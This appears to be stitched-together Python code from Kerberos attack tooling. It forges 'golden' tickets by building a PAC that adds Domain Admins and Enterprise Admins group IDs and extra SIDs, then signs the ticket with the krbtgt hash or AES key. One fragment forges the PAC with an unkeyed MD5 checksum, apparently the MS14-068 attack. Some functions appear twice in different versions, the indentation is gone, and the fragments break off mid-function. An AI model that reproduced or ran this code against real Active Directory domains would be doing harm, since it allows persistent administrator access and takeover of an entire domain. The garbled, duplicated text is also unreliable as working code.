def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = b'\x00' * 16
privCheckSum['Signature'] = b'\x00' * 16
else:
srvCheckSum['Signature'] = b'\x00' * 12
privCheckSum['Signature'] = b'\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
return pacInfos
def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = '\x00' * 16
privCheckSum['Signature'] = '\x00' * 16
else:
srvCheckSum['Signature'] = '\x00' * 12
privCheckSum['Signature'] = '\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
return pacInfos
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart,
pacInfos):
logging.info('Signing/Encrypting final ticket')
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * ((
(len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * ((
(len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * ((
(len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * ((
(len(privSvrChecksumBlob) + 7) // 8 * 8) -
len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] +
7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[
serverChecksum['SignatureType']]
if serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' %
serverChecksum['SignatureType'])
checkSumFunctionPriv = _checksum_table[
privSvrChecksum['SignatureType']]
if privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Priv checksum type 0x%x' %
serverChecksum['SignatureType'])
serverChecksum['Signature'] = checkSumFunctionServer.checksum(
keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
logging.info('\tPAC_SERVER_CHECKSUM')
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(
keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
logging.info('\tPAC_PRIVSVR_CHECKSUM')
buffersTail = serverChecksum.getData(
) + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0][
'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
authorizationData[0]['ad-data'] = pacType.getData()
authorizationData = encoder.encode(authorizationData)
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
if logging.getLogger().level == logging.DEBUG:
logging.debug('Customized EncTicketPart')
print(encTicketPart.prettyPrint())
print('\n')
encodedEncTicketPart = encoder.encode(encTicketPart)
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
else:
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
logging.info('\tEncTicketPart')
cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
kdcRep['ticket']['enc-part']['cipher'] = cipherText
kdcRep['ticket']['enc-part']['kvno'] = 2
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
if self.__domain == self.__server:
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncASRepPart')
cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart,
None)
else:
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncTGSRepPart')
cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart,
None)
kdcRep['enc-part']['cipher'] = cipherText
kdcRep['enc-part']['etype'] = cipher.enctype
kdcRep['enc-part']['kvno'] = 1
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final Golden Ticket')
print(kdcRep.prettyPrint())
print('\n')
return encoder.encode(kdcRep), cipher, sessionKey
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' %
(self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
if self.__domain == self.__server:
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = noValue
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key'][
'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key'][
'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join(
[random.choice(string.ascii_letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = noValue
encTicketPart['cname'][
'name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = noValue
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = noValue
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(
days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = noValue
encTicketPart['authorization-data'][0] = noValue
encTicketPart['authorization-data'][0][
'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = noValue
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
aTime = timegm(
strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
extrasids = self.__options.extra_sid.split(',')
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data'][
'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
for extrasid in extrasids:
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extrasid)
sidRecord['Sid'] = sid
sidRecord[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData(
) + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(
pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if PAC_CLIENT_INFO_TYPE in pacInfos:
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
if self.__domain == self.__server:
encRepPart = EncASRepPart()
else:
encRepPart = EncTGSRepPart()
encRepPart['key'] = noValue
encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encRepPart['last-req'] = noValue
encRepPart['last-req'][0] = noValue
encRepPart['last-req'][0]['lr-type'] = 0
encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(
datetime.datetime.utcnow())
encRepPart['nonce'] = 123456789
encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encRepPart['flags'] = encodeFlags(flags)
encRepPart['authtime'] = str(encTicketPart['authtime'])
encRepPart['endtime'] = str(encTicketPart['endtime'])
encRepPart['starttime'] = str(encTicketPart['starttime'])
encRepPart['renew-till'] = str(encTicketPart['renew-till'])
encRepPart['srealm'] = self.__domain.upper()
encRepPart['sname'] = noValue
encRepPart['sname']['name-string'] = noValue
encRepPart['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
encRepPart['sname'][
'name-type'] = PrincipalNameType.NT_SRV_INST.value
encRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
else:
encRepPart['sname'][
'name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encRepPart['sname']['name-string'][1] = self.__server
logging.info('\tEncTGSRepPart')
return encRepPart, encTicketPart, pacInfos
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = pacClientInfo.getData()
pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = b'\x00'*16
serverChecksumBlob = serverChecksum.getData()
serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = b'\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = b'\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = b'\x00'*16
privSvrChecksumBlob = privSvrChecksum.getData()
privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacClientInfo.getData() + pacClientInfoAlignment
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest()
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = pacType.getData()
return encoder.encode(authorizationData)
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = None
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = None
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = None
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = None
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = None
encTicketPart['authorization-data'][0] = None
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = None
# Let's locate the KERB_VALIDATION_INFO and Checksums
if pacInfos.has_key(PAC_LOGON_INFO):
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
